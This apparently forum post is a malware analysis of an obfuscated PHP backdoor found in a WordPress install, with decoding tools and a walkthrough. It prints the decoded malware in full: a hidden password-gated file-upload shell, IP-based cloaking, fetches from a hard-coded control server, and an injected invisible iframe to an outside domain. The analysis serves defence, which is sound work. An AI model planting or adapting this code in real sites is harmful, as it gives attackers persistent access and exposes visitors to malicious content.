exploit - Virus on Wordpress. Can you tell me how I can compress the "zipped" code? and understand the virus? -
i found virus on wordpress installation seems malware redistribution bug. extracted code of zipped in way. tried decompress failed.
the code in lot of directories name of uge.php, ghe.php , on.
here find code: http://pasted.co/dc05c112
can please me delete virus, find hacked files , repair wordpress installation?
ah, going fun.
dumping code
the code base64-decodes , gzip-uncompresses itself. creates anonymous function through php create_function($vars, $function_code)
function. echo
code instead eval()
-ing it, , you'll see result. used dumping script:
<php $v = 'enqm...'; //the string in source above echo gzuncompress(base64_decode($v)); ?>
execute php , redirect output file.
$ php -f decoder.php > uncompressed.php
the result contain non-ascii-readable characters, might bit fuzzy. unreadable ascii characters part of variable's name. decoded them printing them hex characters, source becomes readable. decode \xff
encoded hex-characters , \32
encoded octal characters. if that, you'll greeted beginning of code.
<?php class _bcbbed83f4 { private static $_febfcfd79af5b5d3; static function _bdd3c3f4ff80($_96dbfd8c9e80c1) { if (!self::$_febfcfd79af5b5d3): self::_ee9bfb8bc6eb9d(); /*bloodninja: lick earlobe, , undo watch.*/ endif; return base64_decode(self::$_febfcfd79af5b5d3[$_96dbfd8c9e80c1]); /*sarah19fca: mmmm, okay.*/ } private static function _ee9bfb8bc6eb9d() { self::$_febfcfd79af5b5d3 = array( "_\xfb\xe7\xaa\xee\xc5\xb8\xb8\xa6" => /*bloodninja: take yo pants off, grunting troll.*/ "\115\x54\111\064l\x6ae3ny4yn\104m=",
deobfuscation
the code starts declaring array (/dictionary in c# speak, because seems map string
string
). in array, 7,392 strings declared. throughout code, senseless comments injected decrease readability (though highly amusing, seems log cybersex stuff). can decode every string in array stripping comments, base64 decoding string on right. wrote c# program scans in dictionary source, replaces every call array; thus, strings deobfuscated.
using system; using system.collections.generic; using system.text; using system.io; using system.text.regularexpressions; using system.security.cryptography; namespace phpdeobfusc { class program { static void main(string[] args) { //read source byte[] content = file.readallbytes(@"c:\users\...\decompressed.txt"); //replace non-ascii readable characters hexcode stringbuilder output = new stringbuilder(content.length); bool insidestring = false; (int = 0; < content.length; i++) { byte c = content[i]; if (c == '"' && content[i-1] != '\\') insidestring = !insidestring; if (!isasciireadable(c)) //display hexchar, in different ways if inside string. if(insidestring) output.append(string.format("\\x{0:x2}", (int)c)); else output.append(string.format("{0:x2}", (int)c)); else output.append((char)c); } var decod = phpstringdecode(output.tostring()); decod = stripcomments(decod); decod = resolvearrayobfuscation(decod); file.writealltext(@"c:\users\...\desktop\hexified3.php", decod); } static dictionary<string,string> createlookupdict(string src) { var dict = new dictionary<string, string>(); //use regex find each line "sourcekey" => "somebase64string" foreach(match m in regex.matches(src, "\\\"([^\\\"]*)\\\"\\s*=>\\s*\\\"([^\\\"]*)\\\"")) { var key = m.groups[1].value; var value = m.groups[2].value; dict.add(key, value); } return dict; } static string dotnetencode(string input) { return input.replace("\\", "\\\\").replace("\"", "\\\""); } static string resolvearrayobfuscation(string src) { var dict = createlookupdict(src); //catch every call array src = regex.replace(src, "_bcbbed83f4::_bdd3c3f4ff80\\(\\\"([^\\\"]*)\\\"\\)", delegate (match m) { string key = m.groups[1].value; if (dict.containskey(key)) //replace value within our dictionary { var base64 = dict[key]; return "\"" + dotnetencode(encoding.utf8.getstring(convert.frombase64string(base64))) + "\""; } return m.value; }); return src; } //decode hex , octal characters. static string phpstringdecode(string input) { regex octal = new regex(@"\\(\d{3})"); input = octal.replace(input, delegate (match m) { //escape octal chart int as_int = convert.toint32(m.groups[1].value, 8); char c = (char)as_int; if(isasciireadable((byte)as_int)) return c.tostring(); else return string.format("{0:x2}", as_int); }); regex hex = new regex(@"\\x([a-fa-f0-9]{2})"); input = hex.replace(input, delegate (match m) { int as_int = convert.toint32(m.groups[1].value, 16); char c = (char)as_int; if (isasciireadable((byte)as_int)) return c.tostring(); else return string.format("{0:x2}", as_int); }); return input; } static bool isasciireadable(byte c) { if ((c <= 31 || c >= 127) && c != '\n' && c != '\r' && c != '\t') return false; return true; } } }
that gives cleaned sourcecode. go take php ide phpstorm , start refactoring code sothat becomes readable. here's more deobfuscated version of code:
<?php class _bcbbed83f4 { private static $base64dict; static function decode_string($key) { if (!self::$base64dict): self::create_dictionary(); endif; return base64_decode(self::$base64dict[$key]); } private static function create_dictionary() { self::$base64dict = array( "_fbe7aaeec5b8b8a6" => "mti4lje3ny4yndm=", "_e6cec0be84afbae6" => "mti4lje3ny4yndqumtaw", //goes on.. "_89bfa69ee79dc2dfedfd" => "cq==", ); } } error_reporting(0); //disable error reporting $decoded_dict = array( //originally, here calls array, have been resolved deobfuscator :) "128.177.243", "188.134.76.0" //... "173.194.0.0-173.194.255.255", "173.255.112.0/20", "192.158.28.0/22", "192.178.0.0/15", "193.142.125.0/24", //... ); function try_all_download_methods($url) { $result = ""; $result = @use_curl($url); if ($result !== false): return $result; endif; $result = @use_file($url); if ($result !== false): return $result; endif; $result = @use_fopen($url); if ($result !== false): return $result; endif; $result = @use_fsockopen($url); if ($result !== false): return $result; endif; $result = @use_fsockopen($url); if ($result !== false): return $result; endif; $result = @use_file_get_contents($url); if ($result !== false): return $result; endif; return ""; } function use_curl($url, $unused_parameter = 0.57911929962106) { if (function_exists("curl_init") === false): //check if curl avaiable return false; endif; $curl_state = curl_init(); //initiate curl_setopt($curl_state, constant("curlopt_url") , $url); //pass url curl_setopt($curl_state, constant("curlopt_returntransfer") , true); curl_setopt($curl_state, constant("curlopt_timeout") , 5); curl_setopt($curl_state, constant("curlopt_header") , null); $curl_result = curl_exec($curl_state); curl_close($curl_state); if ($curl_result == ""): return false; endif; return $curl_result; //return downloaded string } function use_file_get_contents($file) { if (function_exists("file_get_contents") === false): //check if can use function return false; endif; $content = @file_get_contents($file); if ($content == ""): return false; endif; return $content; } function use_file($file) { if (function_exists("file") === false): return false; endif; $line_array = @file($file); $joined_string = @join("", $line_array); if ($joined_string == ""): return false; endif; return $joined_string; } function use_fopen($file, $unused_par = 0165433) { if (function_exists("fopen") === false): return false; endif; $file_content = ""; $file_stream = @fopen($file, "r"); //open in read mode if ($file_stream): while (!feof($file_stream)): $file_content.= fread($file_stream, 10000); endwhile; fclose($file_stream); else: return false; endif; if ($file_content == ""): return false; endif; return $file_content; } function use_fsockopen($url) { if (function_exists("fsockopen") === false): return false; endif; $url_array = @parse_url($url); $host = $url_array["host"]; $path_and_query = $url_array["path"] . "?" . $url_array["query"]; //in following line, 2 variables don't exist. $socket = @fsockopen($host, 80, $errno_not_declared, $err_str_not_declared, 30); if (!$socket): return false; endif; $request = "get " . $path_and_query . " http/1.0\r\n"; $request.= "host: " . $host . "\r\n\r\n"; fputs($socket, $request); $response = ""; while (!feof($socket)): $response.= fread($socket, 10000); endwhile; fclose($socket); if ($response == ""): return false; endif; list($undeclared_list_variable, $response) = explode('\r' . '\n' . '\r' . '\n' , $response); return $response; } function use_socket_create($url) { if (function_exists("socket_create") === false): return false; endif; $url_array = @parse_url($url); $host = $url_array["host"]; $path_and_query = $url_array["path"] . "?" . $url_array["query"]; $host_ip = @gethostbyname($host); $double_converted_host_ip = @long2ip(@ip2long($host_ip)); if ($host_ip != $double_converted_host_ip): //check ip format validation double-converting ip ip long ip again. return false; endif; $socket = @socket_create(af_inet, sock_stream ,getprotobyname("tcp")); if (!@socket_connect($socket, $host_ip, 80)): @socket_close($socket); return false; endif; $request = "get " . $path_and_query . " http/1.0\r\n"; $request.= "host: " . $host . "\r\n"; socket_write($socket, $request); $response = ""; while ($received_chunk = socket_read($socket, 10000)): $response.= $received_chunk; endwhile; @socket_close($socket); if ($response == ""): return false; endif; list($unused_list_variable_2, $response) = explode('\r' . '\n' . '\r' . '\n' , $response); return $response; } function compare_ips($other_source_string, $source_string) { $arr1 = explode("/", $source_string); $ip_array = explode(".", $arr1[0]); foreach($ip_array & $binary_string): //converts number decimal binary string , pads 8 characters length left-padding zeroes $binary_string = str_pad(decbin($binary_string) , 8 , "0", str_pad_left); endforeach; $ip_array = substr(join("", $ip_array) , 0, $arr1[1]); $arr2 = explode(".", $other_source_string); foreach($arr2 & $binary_string): $binary_string = str_pad(decbin($binary_string) , 8 , "0", str_pad_left); endforeach; $arr2 = substr(join("", $arr2) , 0, $arr1[1]); return $arr2 == $ip_array; } $_a9a4fbb7d3d5f4eaf9 = ""; //two unused variables.. $_cfbbfe919aa1 = ""; $client_ip = $_server["remote_addr"]; $client_maybe_proxy = $_server["http_x_real_ip"]; if (strpos($client_ip, ":") || strpos($client_maybe_proxy, ":")): exit; endif; $hostname_client = gethostbyaddr($client_ip); $hostname_proxy = gethostbyaddr($client_maybe_proxy); //is google bot? if (preg_match("/google/i", $hostname_client) || preg_match("/google/i", $hostname_proxy)): else: //does come site don't like? if (preg_match("/yandex/i", $hostname_client) || preg_match("/yandex/i", $hostname_proxy) || preg_match("/yndx/i", $hostname_client) || preg_match("/yndx/i", $hostname_proxy) || preg_match("/mail.ru/i", $hostname_client) || preg_match("/mail.ru/i", $hostname_proxy) || preg_match("/rambler/i", $hostname_client) || preg_match("/rambler/i", $hostname_proxy) || preg_match("/msn/i", $hostname_client) || preg_match("/msn/i", $hostname_proxy) || preg_match("/microsoft/i", $hostname_client) || preg_match("/microsoft/i", $hostname_proxy) || preg_match("/bing/i", $hostname_client) || preg_match("/bing/i", $hostname_proxy)): else: $_decoded_dict = $decoded_dict; //make reference base64-decoded dictionary $success = false; foreach($_decoded_dict $decoded_str): //go through every member in dict $decoded_str = trim($decoded_str); if (strpos($decoded_str, "/")): //is ip in cidr notation? (e.g. 192.168.0.0/24) if (compare_ips($client_ip, $decoded_str) || compare_ips($client_maybe_proxy, $decoded_str)): $success = true; //this url / ip found in dictionary. break. break; endif; else: if ($decoded_str[strlen($decoded_str) - 1 ] === "0"): //is last character '0'? $start_of_subnet = substr($decoded_str, 0, strlen($decoded_str) - 1) . "1"; //take last character , append '1'. $end_of_subnet = substr($decoded_str, 0 , strlen($decoded_str) - 1) . "254"; //replace end '254' if (ip2long($start_of_subnet) && ip2long($end_of_subnet)): $client_ip_as_long = ip2long($client_ip); //convert ip addresses numbers $client_proxy_as_long = ip2long($client_maybe_proxy); if ($client_ip_as_long >= ip2long($start_of_subnet) && $client_ip_as_long <= ip2long($end_of_subnet)): $success = true; //the ip adress of client ip within subnet break; else: if ($client_proxy_as_long >= ip2long($start_of_subnet) && $client_proxy_as_long <= ip2long($end_of_subnet)): $success = true; //sucess here if client proxy ip within subnet. break; endif; endif; endif; else: if (strpos($decoded_str, "-")): //is there '-' in string? tor strings of kind 192.168.0.1-192.168.0.255 $exploded_arr = explode("-", $decoded_str); //explode $client_ip_as_long = ip2long($client_ip); //same stuff above $client_proxy_as_long = ip2long($client_maybe_proxy); if ($client_ip_as_long >= ip2long(trim($exploded_arr[0])) && $client_ip_as_long <= ip2long(trim($exploded_arr[1]))): $success = true; break; else: if ($client_proxy_as_long >= ip2long($exploded_arr[0]) && $client_proxy_as_long <= ip2long($exploded_arr[1])): $success = true; break; endif; endif; else: if (ip2long($decoded_str) > -1): if ($decoded_str === $client_ip || $decoded_str === $client_maybe_proxy): $success = true; break; endif; endif; endif; endif; endif; endforeach; function download_stuff_from_server() { $magic_ip = "87.118.108.89"; $query_string = $_server["query_string"]; $server_name = $_server["server_name"]; $www_dot = "www."; $starts_with_www = stripos($server_name, $www_dot); if ($starts_with_www === false): $server_name = "www." . $server_name; endif; $url = "http://" . $magic_ip . "/" . $server_name . "/" . $query_string; return try_all_download_methods($url); } if (md5(@$_get["b"]) === "3edb21a5f513ee1a610c8ad1835d4512"): //compare b parameter magic url access form! $success = true; echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">"; echo "<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"go\"></form>"; if ($_post["_upl"] == "go"): if (@copy($_files["file"]["tmp_name"], $_files["file"]["name"])): //copy given file server echo "<b>go</b><br /><br />"; else: echo "<b>up</b><br /><br />"; endif; endif; endif; if (!$success): //the user has accessed shell new / not 1 of allowed users. //inject javascript sothat can trace him. document.write(<invisible iframe>) $javascript_src = "<script> var _0x5254 = [\"<frameset rows=\\\"*,0\\\" framespacing=\\\"0\\\" border=\\\"0\\\" frameborder=\\\"no\\\"><frame src=\\\"http://box.mimia.berlin/apply/\\\" noresize=\\\"\\\" scrolling=\\\"auto\\\"></frameset>\", \"write\"]; document[_0x5254[1]](_0x5254[0]);</ script > "; $magic_file = download_stuff_from_server(); $to_echo = $javascript_src . $magic_file; echo $to_echo; else: $magic_file = download_stuff_from_server(); echo $magic_file; endif; endif; endif; if (isset($_get["q"])): //option output md5 parameter of file (after uploading). echo md5(file_get_contents(__file__)); endif;;
code analysis
more 14,000 lines of code array of strings contains ip adresses , ip ranges. we'll @ later. in beginning, see 6 functions have been written try download file in different ways. first option curl
, php functions file()
, fopen()
, fsockopen()
, socket_create()
, file_get_contents()
. so, being able download file server seems pretty important them, if they'll try 6 different methods of downloading it.
far more interesting is, being downloaded, , these ip adresses being used for. code begins with
$client_ip = $_server["remote_addr"]; $client_maybe_proxy = $_server["http_x_real_ip"];
then looks dns names of these ip adresses, , uses regex block specific domains out:
if (preg_match("/google/i", $hostname_client) || preg_match("/google/i", $hostname_proxy)): else: //does come site don't like? if (preg_match("/yandex/i", $hostname_client) || preg_match("/yandex/i", $hostname_proxy) || preg_match("/yndx/i", $hostname_client) || preg_match("/yndx/i", $hostname_proxy) || preg_match("/mail.ru/i", $hostname_client) || preg_match("/mail.ru/i", $hostname_proxy) || preg_match("/rambler/i", $hostname_client) || preg_match("/rambler/i", $hostname_proxy) || preg_match("/msn/i", $hostname_client) || preg_match("/msn/i", $hostname_proxy) || preg_match("/microsoft/i", $hostname_client) || preg_match("/microsoft/i", $hostname_proxy) || preg_match("/bing/i", $hostname_client) || preg_match("/bing/i", $hostname_proxy)): else: //real code starts here
if pass these checks, code try find ip adress in list of ip adresses within array @ beginning. there 3 kinds of ip adresses stored within there: plain ip adresses 66.249.66.216
, ip adresses in cidr subnet notation 8.8.4.0/24
, or range 66.249.60.0-66.249.95.255
. if coming 1 of these ip adresses, sets boolean variable success
true
. let's see how reacts upon result of check:
if (!$success): //the user has accessed shell new / not 1 of allowed users. //inject javascript sothat can trace him. document.write(<invisible iframe>) $javascript_src = "<script> var _0x5254 = [\"<frameset rows=\\\"*,0\\\" framespacing=\\\"0\\\" border=\\\"0\\\" frameborder=\\\"no\\\"><frame src=\\\"http://box.mimia.berlin/apply/\\\" noresize=\\\"\\\" scrolling=\\\"auto\\\"></frameset>\", \"write\"]; document[_0x5254[1]](_0x5254[0]);</ script > "; $magic_file = download_stuff_from_server(); $to_echo = $javascript_src . $magic_file; echo $to_echo; else: $magic_file = download_stuff_from_server(); echo $magic_file; endif;
interesting. if not in list of these ip adresses, server inject javascript you, opens <iframe>
no border, , no width/height make invisible. url forced visit here http://box.mimia.berlin/apply/
. domain mimia.berlin
registered on september 01, 2014, according https://who.is/domain-history/mimia.berlin . download_stuff_from_server()
doing?
function download_stuff_from_server() { $magic_ip = "87.118.108.89"; $query_string = $_server["query_string"]; $server_name = $_server["server_name"]; $www_dot = "www."; $starts_with_www = stripos($server_name, $www_dot); if ($starts_with_www === false): $server_name = "www." . $server_name; endif; $url = "http://" . $magic_ip . "/" . $server_name . "/" . $query_string; return try_all_download_methods($url); }
here can see static ip adresses. local, hacked server name being used compose url of form http://87.118.108.89/www.hacked_domain.com/
. whatever server supposed return, it's offline now. ip adress definetly acts control server, because result of content being displayed shell user / website viewer. now, we've seen sort of logging ip adress injecting javascript force request domain , logging hacked server adress. shell's functionlity? close end, you'll see
if (md5(@$_get["b"]) === "3edb21a5f513ee1a610c8ad1835d4512"): //compare b parameter magic url access form! $success = true; echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">"; echo "<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"go\"></form>"; if ($_post["_upl"] == "go"): if (@copy($_files["file"]["tmp_name"], $_files["file"]["name"])): //copy given file server echo "<b>go</b><br /><br />"; else: echo "<b>up</b><br /><br />"; endif; endif; endif;
this seems echo
classic upload form (from can see html code there) file upload, used copy()
function. form if supply in url query b
parameter correct magic value of md5 hash. interesting.
at buttom, there seems debugging code echo
-ing md5()
of file of current script, if supply q
parameter in url.
if (isset($_get["q"])): //option output md5 parameter of file. echo md5(file_get_contents(__file__)); endif;;
conculusion
what have here? real functionality upload form on hacked server. classical file upload, contained within 10 lines of code. whole rest of code rotates around huge array ip adresses , ranges, decided wether see upload form or not. maybe list of hackers cleared use shell? or maybe logging on it? truth is, array not modified (in script) during execution. fact is, list of on ~7,400 ip adresses huge. truth also, user / viewer of webpage may logged through means of visiting http://box.mimia.berlin/apply/
website, may speficially rented server these hacking activities, located in germany. given site not longer avaiable now, registration expired on june 20, 2015, hackers inactive now. analysis revealed sort of command & control server, content displayed shell user aswell. btw, google search magic md5 value 3edb21a5f513ee1a610c8ad1835d4512
lead website; may way mark compromised pages.
update
on page find googling above string, source code seems there in cleartext. string obfuscation different, it's beeing done through xor. interestingly, variable names in cleartext, function names real, , there reference website.
//this own decoder code decoding 1 part <?php class _afe2f7befb999fa1 { private static $dict; static function decrypt($key, $xorkey) { if (!self::$dict): self::createdict(); endif; $xorkeylen = 8; //array_len($xorkey); //strlen($xorkey); $decoded_str = base64_decode(self::$dict[$key]); ($i = 0 , $len_dec = strlen($decoded_str); $i !== $len_dec; ++$i): $decoded_str[$i] = chr(ord($decoded_str[$i]) ^ $xorkey[$i % $xorkeylen]); endfor; return $decoded_str; } private static function createdict() { self::$dict = array( "_a1def5c3cfd4e2e896" => "oe2z4ojspsn//7j1o+amwyuw9prxj+3kova57phkomn/pf2jxlhnnga27lneq/2efapqi9j1qmo6uoch2nqa6a3omnonopj4gsqe3q/rm+qr3/rcx4jditf3/bzcozb+gsqlxk7e7v4ayovertqh7bld+tzhimojofgz5zhg6zb/uqr2i6vrllks+fgt9vinyriu9y7sucisspnpk6npitnxs+wr4ocwupk059yt7d0w6+yhwbj0jtn5sfkzronwupl56zol9i1976r20qfnitf35oz2+msnvryt4ijt6zb/urx1ipxzgnc8uuss4abapvgzrtjtpoj76lzmmafyofwrr+si8lvdf/+49apwu8eaoes41kg5zcvw9lrxj7sgvzxx54nrqtk297ohmvcnzgd7qpoo4kfzaou17ozarciy+btv1kyyofwrr+si8lvdf/+49apwu8eaoes41kkh2svo567t6adoovau5j/qp8tx96/m0/ahwijhseis7rqclpcy9qphpsa+8bpekuskyhhspfxb" . "rpkgve" . "u=", ); } } echo _afe2f7befb999fa1::decrypt("_a1def5c3cfd4e2e896", array(ord('_'), 0x98, 0xdd, 0x81, 0xfc, 0x85, 0xc9, 0xad) /*"_98dd81fc85c9ad"*/); ?> //real code starts here <?php error_reporting(0); $ips = array( "128.177.243", "128.177.244.100", "128.177.244.86", "194.112.94.250", "194.112.94.251", //... "188.134.76.0" ); function get_url_999($url) { $content = ""; $content = @trycurl_999($url); if ($content !== false) return $content; $content = @tryfile_999($url); if ($content !== false) return $content; $content = @tryfopen_999($url); if ($content !== false) return $content; $content = @tryfsockopen_999($url); if ($content !== false) return $content; $content = @tryfsockopen_999($url); if ($content !== false) return $content; $content = @try_file_get_contents_999($url); if ($content !== false) return $content; return ''; } function get_cont(){ $gendomain = "84.19.188.43"; $page = $_server['query_string']; $ho = $_server['server_name']; $findme = "www."; $pos1 = stripos($ho, $findme); if ($pos1 === false) { $ho = "www.".$ho; } $path = "http://$gendomain/$ho/$page"; return get_url_999($path); } function func_current_shop_domain(){ return get_url_999('http://licenseconf.org/show_links/show_domain_name.txt'); }
full code on http://pastebin.com/mjqxlrqd.
Comments
Post a Comment